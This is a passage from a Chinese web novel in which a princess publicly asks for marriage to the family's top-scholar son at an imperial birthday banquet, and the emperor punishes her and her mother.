《假千金誓不为奴,重生掀翻侯府》
第150章 武德充沛
“谢大人,您家夫人,好像点了贺大人的哑穴……”
刚才说话的武官,以一种不可置信的声音,告知谢清源。
可他一回头,却不见谢清源的踪影。
“咦?谢大人呢?”
“早跑去他夫人身边了。”
他旁边另一武官指着孟天身边的谢清源。
“谢大人娶了如此武德充沛的夫人,真是位勇士啊!”
……
谢清源一溜烟跑到妻女身边,对着被点了哑穴着急跺脚的贺维钦作揖道:
“贺大人,你别急,我儿子真不改姓,只要你答应不再纠缠此事,我就给你解开穴道,好不好?”
贺维钦吹胡子瞪眼,努力从鼻子发出声音:“唔!呜呜,唔——?”
“没有,我没威胁你。”
谢清源听懂了,笑着摆手。
“这不是你念叨完我,又纠缠我家夫人,你看到啦,我家夫人也不同意,你就别麻烦了。”
贺维钦瞪圆了双眼,对着谢清源比划,“哼!呜呜——唔!”
“好好好,马上给你解开。”
谢清源安抚了贺维钦,又小心翼翼地望向孟天。
“夫人,开玩笑要适度,给贺大人解开哑穴吧?”
孟天没好气地斜了谢清源一眼,手上快速动作,解了贺维钦的哑穴。
贺维钦一能开口说话,深吸一口气,气愤地指着孟天和谢清源。
“你们!你们太过分了!对朝廷命官动手,我要禀明圣上,治你们的罪!”
孟天无所畏惧地耸了耸肩,“随你。”
谢清源连忙按下贺维钦的手,笑眯眯地说软话。
“贺大人诶!这么点小事,你要闹到陛下面前,至于吗?”
“不是小事!”贺维钦怒气未消,“要是人人都像她那样,说不过,就敢对朝廷命官动手,岂不是天下大乱?”
“这世上几人,能有我夫人这般能耐?不会再有人敢的啦!”
谢清源拉着贺维钦的胳膊,继续好言好语相劝。
“再说了,贺大人,你讲的那些大道理,一套又一套,说得我家夫人心烦意乱,你不懂,我们习武之人,最忌这个。
心神一乱,这肢体不受控制,不小心就碰到了你身上的穴位,不是有意的嘛!”
“你!”
贺维钦更生气了,伸出另一只手指向谢清源。
“你找的什么烂借口?以为我不懂武功,会信你的鬼话?”
孟蕊跟在爹娘身后,已经看得目瞪口呆。
如果说她娘以不懂宫规挑衅曹太后,是为了试探,那点礼部尚书贺大人的哑穴,就是从心出发,是真的烦了贺维钦的说教。
而他爹这番漏洞百出的借口,是可以随便在大庭广众、皇宫内院里说出来的吗?
孟蕊以前以为,她爹只是在家里自由随性,没想到在正经场合,也毫无二致。
关键是,周围这些大臣,甚至贺维钦,都是一副习惯了的样子。
谢清源还在拉扯着贺维钦说情:“贺大人,我家夫人真不是故意的,你怎么就不信呢?”
“你夫人如此大胆,就是你惯出来的!”
贺维钦正义凛然地批评谢清源。
“谢大人,你读过书,当知夫为妻纲,你夫纲不振,管束不了夫人,是你之大过,儿随母姓,有违礼法,就应该改正……”
谢清源听着贺维钦噼里啪啦的冗长说教,也好想和妻子一样,点了对方的哑穴,让他彻底闭嘴。
但是理智告诉他不可以,贺维钦这人,就是个老学究,学问做得深,人也执拗得很,就算是面对陛下,他认为正确的事,也直言不讳,始终坚持己见,陛下对他也是又爱又恨。
若说唯一能制住他的人,只有……
“夫君,太后娘娘的寿宴即将开始,你怎的还在此处?”
清亮沉稳的女声传来,贺维钦终于停下了滔滔不绝的长篇大论。
人群中自动让出一条道,瑞云郡主在儿子贺知越的陪同下,走了过来。
瑞云郡主是已故长公主独女,也就是当今陛下姑姑的女儿,二十多年前嫁给当年的状元贺维钦为妻。
她姿容婉丽,保养得宜,年近四十,却看起来像是二十出头的模样。
“参见瑞云郡主。”众人对着瑞云郡主行礼。
瑞云郡主抬手,“都免礼吧。”
她优雅地走到贺维钦身边,拉下贺维钦指着谢清源的手,温柔劝解:
“好啦,你一说起来,就没完没了,谢大人好不容易找回夫人,他惯着些,也是人之常情,你再把他的夫人骂跑了,谢大人回头,要来找你的麻烦了。”
“他家夫人厉害着呢,能被我骂跑?”贺维钦不服气道,但语气已经放缓。
瑞云郡主微笑着,轻轻晃了晃贺维钦的手。
“现在整个紫宸殿的人,都在听你唠叨,开宴时间马上就到,快去做正事吧。”
贺维钦看着妻子温婉的脸,软了神色,被妻子拉着往殿内走去。
周围的人群听到马上要开宴,也纷纷回到自己的座位。
贺知越对人群中的孟瑾嘚瑟地挑了挑眉,特意走过孟瑾身边,压低了声音道:
“状元郎,你这回,可欠我一次咯~”
孟瑾拍了拍贺知越的肩,“多谢,我都记着。”
两人相视一笑,各自走开。
孟瑾走到爹娘妹妹身边,无奈地解释:
“我之前已经与贺大人说过,我不想改姓,但他很坚持,没想到今日还找到了母亲这里。”
孟天揉了揉额角,头都被贺维钦吵疼了,“没事,他二十年前就已经这样烦了。”
“还好阿瑾你机灵,让探花郎把瑞云郡主请过来,不然,咱们还得听他啰嗦。”
谢清源如释重负地说。
“咱们也入座吧。”
孟蕊跟着爹娘兄长,走到自己的座位坐好,终于找到机会,悄悄打开吴宁清给的纸条。
巴掌大的纸上,写着一首五言小诗:
晓来花影重,
芳馨帘风动。
晴日孟春里,
忙计耕稼垄。
孟蕊蹙着眉,将纸条翻来覆去检查了一番,是很寻常的一张纸,除了这首诗外,再没有其他信息。
她又将诗默读了一遍,觉得有种说不出的怪异,正待细想,听到高亢尖细的通报。
“皇上驾到——!太后娘娘驾到——!”
第151章 反面例子
孟蕊连忙将手中纸条收回袖中,跟着所有人一起行礼。
“恭迎皇上!恭迎太后娘娘!”
“吾皇万岁万岁万万岁!太后娘娘千岁千岁千千岁!”
庆明帝与曹太后一前一后,在宫人的簇拥下,登上紫宸殿正前方的金銮高台。
“众卿平身,都入座吧。”
“谢陛下。”
众人起身,坐回自己的座位。
庆明帝端起金樽,朗声致辞,祝福曹太后的寿辰。
曹太后亦举杯,向庆明帝表达了感谢,并宣布寿宴开席。
乐声起,身披绫罗的舞姬轻盈步入殿内,随着乐声翩翩起舞。
训练有素的宫人们鱼贯而入,捧着菜肴,为各桌上菜。
孟蕊和父母兄长坐在一处,他们的座位在中间靠前,是欣赏歌舞的佳座。
孟蕊被眼前舞姿曼妙的舞姬吸引,她第一次在宫宴中坐到这么好的位置,才知道原来宫廷歌舞如此好看。
“此舞名为凌波舞,是宫中宴会常用的舞蹈。”
孟瑾在孟蕊身边,小声介绍。
“舞者的动作,是在模仿水波流动,动作柔美,节律有度,活泼不失稳重,适合太后娘娘的寿宴。”
“大哥,你懂的真多。”
孟蕊崇拜地侧头看了看孟瑾,目光再次回到跳舞的舞姬们身上。
“原来是在模仿水波流动,难怪看着会让人有种清新灵动之感。”
孟蕊以前参加宫宴,都是跟着安乐侯夫妇,在后边角落里坐着,根本看不清大殿中央在跳什么舞,沈氏还管制着她不许乱走,她从来没有如此近距离地欣赏过宫廷舞乐。
原来人所处的位置不同,看到的风景,也完全不一样啊!
就连桌上相同的宫宴菜肴,与从前看起来差不多,但吃起来的味道,也有些不一样。
孟蕊想,或许是因为,这些菜端上桌时,还是热乎的。
要知道,大殿内桌席没有一百,也有七八十桌,同一道菜肴,御膳房出锅后,端到紫宸殿,必然是给靠前的桌先上菜。
是以,前桌吃到的菜肴是热的,越到后面,菜越凉,孟蕊前世坐在宫宴角落里,吃到的菜肴几乎都是凉的。
孟蕊颇为唏嘘地夹起一块热气腾腾的水晶虾仁,放入口中,嗯,真好吃!
孟瑾将孟蕊面前的酒壶拿到一边,给孟蕊的杯中倒上茶水。
“宫中果酒入口柔和顺滑,但也是会醉人的,妹妹平常极少饮酒,还是喝茶更稳妥些。”
“好啊,多谢大哥。”
孟蕊接过孟瑾递过来的杯盏,轻抿一口,觉得茶水也格外好喝。
“大哥,这是什么茶?入口甘甜,一点也不苦。”
“此茶名为云顶甘露,是宸元皇后最喜欢的茶。”
孟瑾平静端起杯盏,喝了一口茶水,向孟蕊介绍。
“此茶是宸元皇后与陛下在守皇陵时研制而出,制作成本低,味甘,无苦涩,陛下喜饮,宫中妃嫔也多备着,久而久之,宴会上也开始用。”
孟蕊端着杯盏,看着清亮的茶水,想到病逝的宸元皇后,颇为唏嘘。
庆明帝被兄弟排挤陷害,打发去守皇陵,宸元皇后陪同前往。
皇陵条件艰苦,他们唯一的儿子在那里夭折,宸元皇后也病逝在了那里。
就算庆明帝登基后,给了元妻和嫡子再多荣耀封号,身边再多怀念物什,人已经不在了,又有什么用呢?
孟蕊想到,她娘亲曾透露,宸元皇后谢馨死得很惨,孟蕊怕触痛爹娘的伤心事,引发他们再次争执,不敢细问,但心中不是没有怀疑过。
或许,宸元皇后不是病逝,而是被人谋害?
可若是那样,如此爱重元妻的庆明帝,应该会手刃杀妻仇人才对,可快二十年来,皇家对外的统一说法,都是宸元皇后病逝,从未变过。
而庆明帝在宸元皇后去世后,虽表现得十分怀念妻子,但也不耽误他纳了些妃子,生了些孩子。
庆明帝后宫的妃子和孩子,与前朝相比,都算很少的了。
但孟蕊就是觉得膈应,可能因为宸元皇后出身谢家,算起来,是孟蕊的五姑姑,她为这位五姑姑感到不值。
“蕊儿,你在想什么?”孟瑾温润的声音传来,“看着茶水都能发呆。”
孟蕊将杯盏放回桌面,低着头小声说:
“我就是觉得,五姑姑当年若是没有嫁到皇家,而是嫁给其他世家公子,哪怕是嫁给门第不高的秀才商户,她现在应该都还活着,也许还会像二姑姑那样,缠着要给我说亲事,和爹爹互呛吵架……”
亲戚之间的矛盾会闹心没错,但也是一种生龙活虎的热闹啊。
而不是母子皆亡的悲哀下场,就算入了皇陵,坟茔修得再恢弘,也不是活生生的人了,帝王的怀念再深情,也换不回他们的性命……
孟蕊说完这些话,情绪低落,忽而感到一只温热的大手,按在她的肩头。
“蕊儿,这世上没有如果,我们活着的人,必须向前看。”
孟瑾沉稳沙哑的嗓音,萦绕在她的耳畔。
“过去种种,皆是她自己的选择,为了情爱,飞蛾扑火,身死魂灭,看不到夫婿另拥他人在怀,也是一种幸运。”
孟蕊吃惊地抬头,看向孟瑾冷面如玉的脸庞,而孟瑾此时并没有在看孟蕊,他眼神晦暗,正望向高台之上。
那里,庆明帝正在接受吴贵妃敬酒。
中年帝王,身形有些微发福,但依然肩宽背厚,气势不凡,带着治国多年累积的威严。
庆明帝额头皱纹明显,目光锐利,带着难以捉摸的深沉,乌发间夹杂着几缕银丝,透着些沧桑老气。
他对敬酒的吴贵妃笑了下,将杯酒一饮而尽,还将酒杯倒扣,给吴贵妃查看,孟蕊隐约听到吴贵妃娇嗔地夸赞“陛下好酒量”。
望着这一幕,孟蕊明白了孟瑾的话。
宸元皇后早逝,死在庆明帝最爱她的时候,不用亲眼见证夫君与其他女人调情生子,不会拈酸吃醋,未尝不是一种幸运。
“蕊儿,不要沉溺于反面例子,你要向咱们母亲学习。”
孟瑾收回视线,恢复了一贯的冷静自持,含笑对孟蕊说。
“不为情爱所困,坚定自己的目标,一往直前,让喜欢你的男子,像父亲追母亲那样,跟着你的脚步跑。”
第152章 贤妻皇后
反面例子,是指宸元皇后?
孟蕊眨了眨眼,望着孟瑾平和淡笑的侧颜。
她怎么觉得,大哥虽然面上在笑,但眼底却透着难以言喻的忧伤?
站在亲人的角度,孟蕊为五姑姑宸元皇后抱不平,可是在世人眼中,特别是文人的诗词文章中,全是对宸元皇后与庆明帝共患难的溢美之词。
他们把宸元皇后捧为大齐贤妻的至尊典范,并要求天下女子,都向宸元皇后看齐。
特别是文臣仕人,更是巴不得自己能娶一个像宸元皇后一样的贤妻,不仅与夫君同甘共苦,生儿育女,还带来了娘家的政治资源,甚至谢清源这个源源不断提供钱财的小舅子。
孟蕊探究地望着孟瑾,她的大哥考上了状元,这是多少读书人的毕生追求啊,可是大哥对宸元皇后的评价,居然是反面例子,这话也说得太重了吧?
“为何这样看我?”孟瑾温和询问。
孟蕊从胡乱的思绪中回神。
“我……我好奇,世人皆道姑姑是女子典范,大哥你怎么说她是反面例子呢?”
宫宴之上,孟蕊不好直言宸元皇后名讳,被旁人听了去,恐惹麻烦,但孟蕊又实在好奇,为什么孟瑾会这样说,便以姑姑指称宸元皇后,孟瑾能听懂便是。
孟瑾眸光沉了沉,“因为她太不爱惜自己了,为了丈夫和儿子,付出了一切,是一个倔强又愚蠢的女人,蕊儿绝不可学她。”
孟蕊诧异地看着孟瑾,大哥对宸元皇后的评价,越来越犀利了,言语中蕴含的深刻情感,更令孟蕊感到奇怪。
“大哥,你这样说……是见过她本人吗?”
孟瑾喉头动了动,张了张嘴,许久,才吐出一句“没有”。
孟蕊松了口气,她心底萌生的荒谬猜想,应该不会是真的。
“我是从父亲和祖父他们口中,知道了关于她的事,今日听说淑妃想要插手妹妹你的婚事,一时生出了些感慨。”
孟瑾压低了声音,带着几分沙哑道。
“最是无情帝王家,蕊儿,为兄会让他们,都不敢再来打你的主意。”
“原来是因为这样。”
孟蕊恍然大悟,随即安慰孟瑾。
“大哥,你不用太担心,娘亲已经宣布说我要招赘,这个理由好,他们不可能来给我当赘婿的。”
皇子当赘婿,闻所未闻,根本不可能发生。
孟瑾嘴角微弯,“母亲的计策好,但你依然要小心。”
“阿瑾,你们说什么?”谢清源凑过来,“不是在说我坏话吧?”
“没有,孩儿正和妹妹说,父亲您深情专一,只爱母亲一人。”孟瑾张口就是夸。
谢清源刚才没听清孟瑾的话,此刻自豪地挺起胸膛,“那是当然,我对你们母亲的感情,天下皆知。”
“你小点声!再被贺维钦听到,又要说你夫纲不振,来啰嗦我了。”
孟天按下谢清源的肩,烦躁地对他抱怨。
“这宫宴还是老一套,没意思,什么时候能结束?”
谢清源一听孟天召唤,忙回身,殷勤地给孟天夹菜添酒。
“娘子,且再忍耐会儿,太后年纪大了,坐不了多久,等各宫献完寿礼,陛下和太后应该会离场,咱们在那之后就能出门去透透气了。”
孟天不耐烦地睨了眼谢清源,端起酒杯一口饮尽,继续坐着熬时间。
相对于娘亲的烦闷,孟蕊对宫宴适应得很好,这次她坐在与之前不同的位置,觉得许多事都新鲜起来,不动声色地移动目光,看到了不少熟悉的面孔。
在雅集上见过的曹湛,一改初见时潇洒不羁的模样,正直挺挺地坐在他的父亲吏部尚书曹修易身边。
吏部尚书曹修易,是曹太后的胞弟,现已年过六旬,身形瘦高,略显单薄,发须皆白,却精神矍铄,一双细长的眼睛异常明亮,显得十分精明。
不知为何,曹湛已经二十又七,父亲掌管吏部,他却一直没有走仕途。
曹湛平日里爱好游山玩水,参加诗会雅集,流连秦楼楚馆,一丝要参加科考的意思都没有,不过,他依家中安排,早已娶妻生子,如今儿子女儿都有好多个。
听说其嫡子已被曹尚书接到身边亲自教养,许是儿子不行,开始培养孙辈了。
他们隔壁桌是户部尚书吴德勇,再旁边是礼部尚书贺维钦……
孟蕊的目光不着痕迹地快速移动,突地,她与一双熟悉的眼睛对上。
齐轩,正在她的斜对面,惊喜地望着她。
孟蕊这时也看到,齐轩是坐在其父晋国公身边的,而晋国公身边除了嫡子齐轩,还带着庶长子齐辕。
齐辕比齐轩长几岁,是晋国公的通房所生庶子,但这通房与晋国公是从小一起长大的情分,生下齐辕后,被抬为姨娘,晋国公对齐辕这个长子,也很是疼爱。
早几年,齐辕便通过科举入仕,在晋国公的多番运作下,现已进入吏部文选司做主事,是个很有前途的肥差。
今年,齐轩在科考中也榜上有名,孟蕊记不清名次了,好像是二甲二三十名的样子,不知这次晋国公会为嫡子谋一个怎样的差事?
孟蕊对齐轩略一点头,算是客气招呼后,立刻移开了视线,也忽略了齐轩失落的目光。
将紫宸殿中坐在前排的人都看了个遍,孟蕊没看到镇北王府的人,也没找见递给她纸条的吴宁清。
舞乐过后,舞姬们纷纷退场,是皇室成员和与朝臣世家的献礼环节。
庆明帝现存的儿女不多,只有四位皇子和一位公主,皇子公主们献完寿礼后,轮到各宫主位妃嫔,再是重臣世家。
淑妃所出的二皇子萧安,为信佛的太后,送的是一尊金佛。
吴贵妃所出的三皇子萧宇,送上了价值万金的苏绣万寿图屏风。
顺嫔所出的四皇子萧宏,送的是滋补佳品百年人参。
丽嫔所出的六皇子萧定,年纪尚小,亲手抄了孝经献上。
曹太后面对孙辈的寿礼,都没有太多表示,始终保持着得体的微笑,看不出喜恶。
直到顺嫔所出的五公主萧容,说要为皇祖母献舞,曹太后才来了兴致,同意了五公主的请求。
五公主十五岁,上月刚及笄,作为庆明帝唯一的女儿,她有时比几位皇子,更得庆明帝宠爱。
观赏着五公主的舞姿,孟蕊明显觉得,五公主没有刚才的舞姬跳得好。
步伐不够轻盈,许多动作也不在鼓点上,像是临时学的舞蹈,很是一般。
孟蕊还发现,五公主跳舞时,眼神总是瞟向孟瑾,顿时警惕起来。
一舞跳毕,五公主喘着粗气,跪在大殿中央,向曹太后甜甜地撒娇:
“皇祖母,容儿这舞跳得好不好?”
曹太后笑着点头,“容儿有心了,跳舞哄哀家高兴。”
五公主喜道:“既然皇祖母高兴了,那是不是可以赏赐容儿呢?”
第153章 请求赐婚
“容儿想要什么赏赐?”曹太后笑问。
庆明帝不是曹太后亲子,宫中几个皇子公主,却是曹太后看着长大的。
五公主作为其中唯一的女孩,时常陪伴曹太后膝下,曹太后对她也有几分真心疼爱。
而且,五公主的母妃顺嫔,出身不高,其父原本只是城防营的一名守将,十六年前护驾有功,却伤重不治而亡,临终前请求庆明帝照顾其独女。
庆明帝登基后,遵守诺言,将守将之女纳入后宫,就是现在的顺嫔。
顺嫔没有母家支持,即使生了一位皇子又一位公主,依然只在嫔位。
在曹太后看来,顺嫔母子三人没什么威胁,她也乐得拿些金银赏赐哄着五公主。
五公主欣喜地抬起笑脸,情意绵绵地望了眼淡定自若的孟瑾,转而郑重向着曹太后叩首。
“皇祖母,容儿心悦状元郎,请您给容儿和瑾哥哥赐婚。”
此话一出,如一石激起千层浪,各色目光纷纷投向孟瑾。
紫宸殿中同时响起了窸窸窣窣的小声议论:
“五公主想要嫁给状元郎,主动求赐婚,就算贵为公主,也太不矜持了。”
“陛下只有这一位公主,平日里宠爱有加,要什么给什么,这赐婚我看应该能成。”
“那谢家以后与皇室的关系更近一步,越发荣耀了。”
“呵呵,尚公主,说起来荣耀罢了,封个驸马都尉的闲职,以后不会再有大出息,孟瑾好不容易考到状元,我不信他会愿意。”
“他不愿意又如何?陛下宠爱公主,自然是要顺着公主的意思。”
……
孟蕊的担心成真,紧张地看向身边的大哥孟瑾。
孟瑾回以她一个安抚的笑,“没事,稍安勿躁。”
孟蕊又看向旁边的爹爹和娘亲。
谢清源安稳地坐着,嘴角勾着一抹坏笑,眼神闪了闪,似在期待着什么。
孟天沉着脸,端起酒杯,再度一饮而尽后,没看求赐婚的五公主,也没看处于赐婚漩涡中心的儿子孟瑾,而是抬头望向金銮高台之上的人。
高台上的曹太后,脸上笑意未变,眼底划过兴味,她没有回应五公主的请求,只微微侧头,看向身侧的便宜儿子庆明帝。
“皇帝,容儿为哀家祝寿,舞跳得好,是该赏,但儿女婚姻大事,还是该你这做父亲的来决定为好。”
曹太后将赐婚一事,轻松甩给庆明帝。
庆明帝脸色黑沉如水,死死盯着五公主,不见往日宠爱,反倒透着一丝杀意。
“小五,你今日所为,是谁教你的?”庆明帝语气严厉。
五公主不明所以,以对曹太后撒娇的口气,对庆明帝说:
“父皇,没有谁教,是儿臣自己心悦于状元郎,想要以终身许之。”
庆明帝的脸色更难看了,“你长居宫闱,何时见过孟瑾?居然说得出要许终身的浑话?”
“父皇,儿臣是认真的!不是浑话!”
五公主膝行转身,对着庆明帝急切证明。
“儿臣之前出宫,在琼林宴上见过孟公子,我们意趣相投,相谈甚欢,引为知己,不信的话,您问孟公子啊!”
“混账!谁准你私自出宫的?”
庆明帝怒不可遏,操起手边酒杯,砸向五公主。
“啪!”
琉璃酒杯在五公主前方一米处破碎,五公主吓得一抖。
殿内众人连忙起身行礼,“请陛下息怒!”
“父、父皇,儿臣只是想去琼林宴看看热闹……”
五公主战战兢兢地望着庆明帝,不明白为何一向宠爱她的父皇,会突然发这么大的脾气。
“容儿,别说了!”
顺嫔对五公主使了个眼色。
“还不快向你父皇认错。”
“我……”五公主不觉得自己有错啊。
她献舞求赐婚的想法,是和母妃顺嫔说过的,顺嫔也很赞同。
顺嫔还说,如此一来,不但五公主可以得到如意郎君,她的同胞哥哥四皇子,也可以得到谢家的支持,说不定能与二皇子和三皇子争一争那个位置。
明明都是皇子,就因为顺嫔没有母家助力,四皇子在宫中犹如透明人,自是不甘心。
五公主觉得,赐婚能成最好,不能成也没关系,以自己在父皇和太后心中的地位,往昔得到的宠爱,就算请求赐婚不成,也无伤大雅,反正她是公主,最多丢些脸面而已,她不在意就行了。
庆明帝深沉的眸光,在殿内俯身的众臣宫妃身上一扫而过,最终落在顺嫔身上。
“顺嫔,小五私自出宫,自请赐婚,是你教她的?”
“陛下明察,臣妾对此一概不知啊!”
顺嫔花容失色,对着庆明帝跪下,磕头解释。
“容儿年纪小,不懂事,胡言乱语,请陛下不要和她一般见识。”
庆明帝居高临下地冷睨着她,威严的脸上,怒气不减。
“好个一概不知,那你便是教女无方,从今日起,褫夺你顺嫔封号,降为陈美人。”
庆明帝也不纠结顺嫔,哦不,陈美人,是否教唆了五公主,直接定了她的罪,以降位份作为处罚。
陈美人无力地跪倒在地上哀求:“陛下,臣妾真的什么都不知,求陛下开恩呐!”
后宫妃子的位份,不仅仅是位份,关乎名誉、地位、月俸等等,嫔位以下的妃子,没有自己独立的宫室,所生儿女,也只能给位份高的妃嫔养育。
顺嫔从嫔位降到美人,四皇子和五公主在宫中的地位,也要跟着降。
四皇子萧宏,很快意识到这一点,连忙跟着跪下,向庆明帝求情。
“父皇,母妃纵然有错,但这惩罚会不会太重了些?”
他祈求地望了望冷眼旁观的曹太后。
“而且今日,还是皇祖母的寿辰,求父皇看在皇祖母的面子上,从轻处罚吧?”
庆明帝冷冷看了他一眼,“小四,你也不知你妹妹的计划?”
“儿臣确实不知。”四皇子叩头答道,额上冷汗直冒。
“哼!你不知,但朕知,她们这样做,大半是为了你!”
庆明帝对着四皇子厉声训斥。
“朕钦点的状元,是要为朕、为大齐江山效力的,不是选来给你们装点门庭、争权夺利的!”
第154章 聪明过头
“父皇息怒!儿臣绝无此意啊!”
四皇子将身形压得更低,卑微得几乎要趴在地上。
争权夺利,只四个字,其蕴含之意可大可小,一旦和夺嫡挂上关系,那他就会成为众矢之的。
五公主懵懂地望着庆明帝,表情呆滞,她不明白为什么只是一个赐婚而已,父皇就要给她的母妃这么重的惩罚?
“父皇,都是儿臣的错,儿臣不要赐婚了,请您收回对母妃的惩罚吧!”
五公主惊惶无措,对着庆明帝磕头求情。
“儿臣以后一定谨言慎行,再也不私自出宫了,求您了!”
庆明帝没再看她一眼,淡淡吐出对五公主的处罚:
“五公主萧容,枉顾宫规,殿前失仪,罚禁足半年,让内务府派教养嬷嬷来,重新教导五公主宫规礼仪。”
“父皇!”
五公主凄切地唤道,委屈的眼泪直往外冒。
她最不喜欢学规矩了,还要禁足半年,她会疯掉的!
“儿臣不明白,您怎么忽然间,就不疼儿臣了?”
“皇妹!”四皇子紧急制止,但为时已晚。
五公主不顾四皇子的提醒,声泪俱下都对庆明帝道:
“父皇,您若是觉得儿臣不懂事,赐婚不合适,不同意就是了,为何要责罚儿臣和母妃呢?我们到底做错了什么?”
听到五公主天真中泛着傻气的话,庆明帝疲惫地闭了闭眼,“萧宏,你给她解释清楚。”
“儿臣不敢枉度圣意。”四皇子萧宏小心翼翼地回答。
“朕让你说!”庆明帝加重了语气。
四皇子惴惴不安地从地上直起身,怨怪地望向哭得凄凄惨惨的五公主,挑着能说的话说:
“以儿臣愚见,父皇的意思是,孟公子状元之才,乃国之栋梁,应为国效力,不可耽于儿女情长,与皇妹不合适……”
四皇子越说声音越小,不敢再往下说。
但庆明帝明显不打算放过他,“还有呢?你把话说完。”
“父皇息怒,儿臣愚笨不堪,暂时想不到其他原因……”
四皇子再次跪地磕头,只求庆明帝放过。
庆明帝重重冷哼一声,“你哪里是愚笨?朕看你是聪明得太过头了!”
四皇子匍匐在地上,一动不敢动。
五公主听到同胞兄长也被父皇严厉斥责,不敢再说话,泪水更是收不住,又畏惧父皇的怒意,只小声啜泣,看起来好不可怜。
紫宸殿内除了五公主的抽泣声,再无其他声响,无人敢在这时候去触皇帝的霉头,都低头俯身,恭敬站立。
除了曹太后和孟天。
曹太后坐在庆明帝身侧的凤座上,面无表情地注视着发生的一切。
孟天则站得笔直,神情严肃,毫不掩饰的目光,直直望向龙椅上的庆明帝,静静等待着他下一步动作。
庆明帝霸气稳坐龙椅之上,姿态从容威严,如山岳般岿然不动。
他眉头皱起,显得额间的皱纹更加深刻,如炬目光与孟天的视线对视一瞬后,自然移开,又看了一眼恭敬低头的孟瑾,最终落在与己无关、正无所事事的淑妃身上。
“淑妃,你在朕身边的时间最长,你来说说,朕为何不同意给萧容和孟瑾赐婚啊?”
没料到自己会被点名的淑妃,惊异地望向庆明帝,不过转瞬又恢复如常,委婉地说:
“陛下,臣妾愚钝,私以为五公主年纪尚小,还不着急婚配……”
“是吗?”庆明帝目露嘲讽,“你觉得公主年纪小,倒是想要插手别家女儿的婚事了?”
淑妃心中一紧,她再愚钝也想起来,近期她唯一操心过的婚事,就是刚才在慈宁宫中,问过孟蕊几句,而陛下不同意的赐婚,也是五公主和孟瑾。
陛下发怒的关键,在于孟家!
淑妃想通之后,连忙牵着裙摆跪下,“陛下,臣妾只是关心询问几句,并没有要插手……”
庆明帝冷睨着淑妃,“没有插手最好,朕以后也不想再听到相关消息,明白否?”
“臣妾明白,日后一定规行矩步,三思而行,绝不再过问此类事情。”淑妃紧张地保证。
“行了,起来吧。”庆明帝面色稍霁,抬手让淑妃起身。
“谢陛下。”淑妃忐忑不安地站起来。
淑妃心有余悸,偷偷瞧了眼庆明帝缓和的脸色,庆幸自己只是问了几句话,可以自圆其说,没有像五公主那样孤注一掷,当着众臣要求赐婚,闹得不可收拾,只能被收拾。
经此一遭,淑妃也大概想明白了,陛下看重谢清源,也看重谢清源和孟天的一双儿女,想要靠儿女婚事拉拢谢清源的人,会不为陛下所容。
庆明帝收起怒意,对曹太后温声道:
“孩子们不懂事,朕需及时纠正,扰了母后的寿宴,请母后恕罪。”
曹太后温和地笑道:“不碍事,容儿被宠坏,哀家也有一部分责任,她年纪还小,日后严加管教便是,皇帝也不必太过忧心。”
“母后说的是,以后还请母后多为孩子们费费心。”庆明帝客气道。
曹太后面容慈祥,“哀家自当分忧。”
母慈子孝的场景,让在场所有人都松了一口气。
“都坐下吧,寿宴继续。”庆明帝下了令。
“谢陛下。”
殿内因圣怒站起的宫妃、群臣和家眷们,都坐回了自己的座位,五公主发起的这场闹剧,快要收场了。
庆明帝又对左右挥了挥手,“带五公主回宫,禁足从今日开始。”
很快,两名膀大腰粗的教养嬷嬷,立在了五公主身后。
“公主,请吧。”
五公主面露惧色,她从小到大,最烦最怕的就是学规矩,小时候撒娇卖乖,仗着自己是皇帝唯一女儿的宠爱糊弄过去,现在长大了,更不愿意再受一遍苦。
她乞求地望向庆明帝。
“父皇……求求您……”
回应她的,是庆明帝冷漠的眼神。
庆明帝身边的大太监高公公,对着两个教养嬷嬷催促:
“愣着做什么?还不快带公主回宫!”
教养嬷嬷领命,向着五公主靠近,“五公主,请您不要为难奴婢,您若再不起身,奴婢只能得罪了。”
五公主不甘心收回视线,在教养嬷嬷要靠近的前一瞬,她快速从地上爬起来。
躲过教养嬷嬷,五公主使尽全身力气,疾跑到孟瑾桌前,指着孟瑾高声斥道:
“孟瑾,你是不是男人?
本公主为了你,就要被父皇惩罚,你连句话都不说,太过分了!”
第155章 七罪公主
五公主将矛头直指孟瑾,激烈的言辞中,赫然把孟瑾说成是一个没有担当、不负责任的伪君子。
大殿内各色目光,齐刷刷看向孟瑾。
孟瑾缓缓抬起头,嘴角泛着嘲讽,看着眼前的五公主,幽幽道:
“为了我?公主受罚乃是自作自受,与在下无关,孟某没有必要说人是非。”
五公主气鼓鼓地瞪着孟瑾,“什么叫与你无关,我是为了和你成婚!”
说话间,两个教养嬷嬷已经追了上来,她们说着“得罪”,一人抓住五公主的一只胳膊,就要将她带出去。
五公主不愿意离开,一边拼命挣扎,一边还在对着孟瑾放狠话。
“孟瑾,本公主为了你受罚,母妃为了你被降位份,你躲在后头当缩头乌龟,连句话都不帮忙说,本公主不会放过你的!”
孟瑾眸光冷漠,站起身,对着庆明帝躬身一礼。
“陛下,可否先不带走五公主,让微臣与公主把话说清楚。”
“朕准了。”庆明帝深深看着孟瑾,答应了他的请求。
“谢陛下。”
孟瑾站直身,对着满脸怨怼的五公主,神情疏离,淡然开口。
“公主殿下该知,婚姻大事,父母之命,媒妁之言,您贵为大齐公主,应明白礼法之重,更该以身作则,遵守礼法。
今日您以舞为太后娘娘祝寿,本就是晚辈娱亲尽孝的分内之事,而您却以此为由,向太后娘娘索要赏赐,目的不纯,此乃其罪之一。
太后娘娘的赏赐,该由太后娘娘自行决定,您却以赐婚相求,令太后娘娘为难,此乃其罪之二……”
“你胡说!”五公主气冲冲地打断孟瑾的话。
若不是她还被两个教养嬷嬷拉着,她定是要上前抓烂孟瑾给她定罪的嘴!
孟瑾泰然自若地站定,坦荡的目光扫过殿内望向他的群臣,继续说道:
“琼林宴上,公主您女扮男装,假冒他人身份参宴,被我揭穿,不思悔改,反纠缠不休,逼迫得我只能提前离场,乃其罪之三。
如今太后娘娘寿宴之上,公主您又颠倒是非,谎称你我初见相谈甚欢,引为知己,想要置我于不义,但只要问询当日琼林宴上的仕人,便能得知公主的谎话有多荒谬,此其罪之四。
公主以赐婚之求,行逼婚之实,此乃其罪之五……”
“住口!你给我住口!”
五公主崩溃,大声哭喊。
“孟瑾,我讨厌你!本公主再也不喜欢你了!呜呜呜……”
五公主推开身边的嬷嬷,如一头莽撞的小牛,埋头向着殿外冲去。
教养嬷嬷和伺候五公主的宫人们,连忙跟着追上。
孟瑾丝毫不为所动,还在滔滔不绝地细数五公主的罪状。
“公主,您连累母妃被罚,却不思己过,将错推到无辜之人身上,此乃其罪之六。
